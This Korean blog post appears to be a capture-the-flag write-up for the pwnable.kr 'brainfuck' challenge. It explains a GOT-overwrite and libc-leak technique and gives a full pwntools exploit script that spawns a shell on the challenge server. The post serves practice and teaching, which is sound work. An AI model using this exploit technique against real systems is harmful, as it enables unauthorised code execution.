#Pwnable.kr #brainfuck #Rookiss
brainfuck 문제이다.
main 함수부터 까보면 위와 같이 생겼다. 단순히 fgets 로 입력받아오는 것처럼 보인다.
입력 받은 값을 전달하는 do_brainfuck 함수를 보자.
do_brainfuck 함수의 모습이다. main 함수를 다시보면, tape(0x0804A0A0) 전역변수 값을 받아오는 전역변수 p(0x0804A080) 가 있는데 do_brainfuck 에서는 이 p 변수를 가지고 포인터조작을 할 수 있는 함수이다.
" 결론적으로는 got_overwrite 문제이다. "
시나리오는 다음과 같다.
p 변수와 멀리 떨어지지 않은 곳에 위와 같은 got table 이 존재하는데, 이곳은 do_brainfuck 함수에서 <
문자로 p 변수가 도달하게끔 조작할 수 있다.
그리고 .
문자로 해당 got address 를 추출해내고 바이너리와 함께 동봉해준 bf_libc.so
파일에 존재하는 offset 을 차감하여 libc_base address 를 얻어낼 수 있다.
그런 다음에 >
문자로 원하는 다른 함수의 got 로 이동하여 ,
문자의 getchar 함수를 통하여 해당 got 를 원하는 주소로 덮어씌울 수 있다.
필자는 최초로 leak 할 got 를 fgets 로 잡고 libc_base address 를 얻어낸 후, putchar 함수는 이 다음으로 사용할 일이 거의 없으므로 main 함수로 덮어버렸다.
그러면, .
문자가 실행될 시 main 함수로 회귀하게되고 다시 do_brainfuck 에 의해 got_overwrite 할 기회가 생기게 된다.
그 다음 페이즈 2 로 넘어간다. 이 부분은 간단하다.
main 함수의 해당부분을 자세히 살펴보면 memset 이 gets 로, fgets 가 system 함수가 된다면 우리가 원하는 목적을 이룰 수 있을 것 같지않은가?
그래서 do_brainfuck 에서 해당 함수 got 들을 덮어씌우고 putchar 로 main 회귀하면 플래그를 읽을 수 있다.
from pwn import *
libc=ELF("./bf_libc.so")
binary=ELF("./bf")
tape_addr=0x804a0a0
main_addr=0x8048671
def byte_send(s,addr):
for i in range(0,4):
s.send(chr((addr>>0x8*i)&0xff))
#s=process("bf")
s=remote("pwnable.kr",9001)
#@@@@<phase 1 : leak libc_base & overwrite putchar to main>@@@@
pay="<"*(tape_addr-binary.got['fgets']) # fgets_got
pay+=".>.>.>.>" #print fgets_got addr
pay+=">"*(binary.got['putchar']-binary.got['fgets']-4)
pay+=",>,>,>,>" #send main addr to putchar
pay+="." # execute putchar function
s.recvuntil("[ ]\n")
s.sendline(pay)
fgets_addr=s.recv(1)
for i in range(0,3):
fgets_addr+=s.recv(1)
libc_base=u32(fgets_addr)-libc.symbols['fgets']
system_addr=libc_base+libc.symbols['system']
gets_addr=libc_base+libc.symbols['gets']
log.info("[+] libc_base : "+hex(libc_base))
log.info("[+] system_addr : "+hex(system_addr))
log.info("[+] get_addr : "+hex(gets_addr))
byte_send(s,main_addr)
#@@@@<phase 2 : execute system('/bin/sh');>@@@@
fgets_got=binary.got['fgets']
memset_got=binary.got['memset']
pay="<"*(tape_addr-fgets_got) # fgets_got
pay+=",>,>,>,>" # send system addr to fgets
pay+=">"*(memset_got-fgets_got-4)
pay+=",>,>,>,>." # send gets addr to memset
s.recvuntil("[ ]\n")
s.sendline(pay)
byte_send(s,system_addr)
byte_send(s,gets_addr)
s.interactive()
'<Wargame & CTF> > Pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] loveletter (0) | 2021.06.07 |
---|---|
[Pwnable.kr] horcruxes (0) | 2021.05.30 |
[Pwnable.kr] blukat (0) | 2021.05.30 |
[Pwnable.kr] asm (0) | 2021.05.29 |
[Pwnable.kr] memcpy (0) | 2021.05.29 |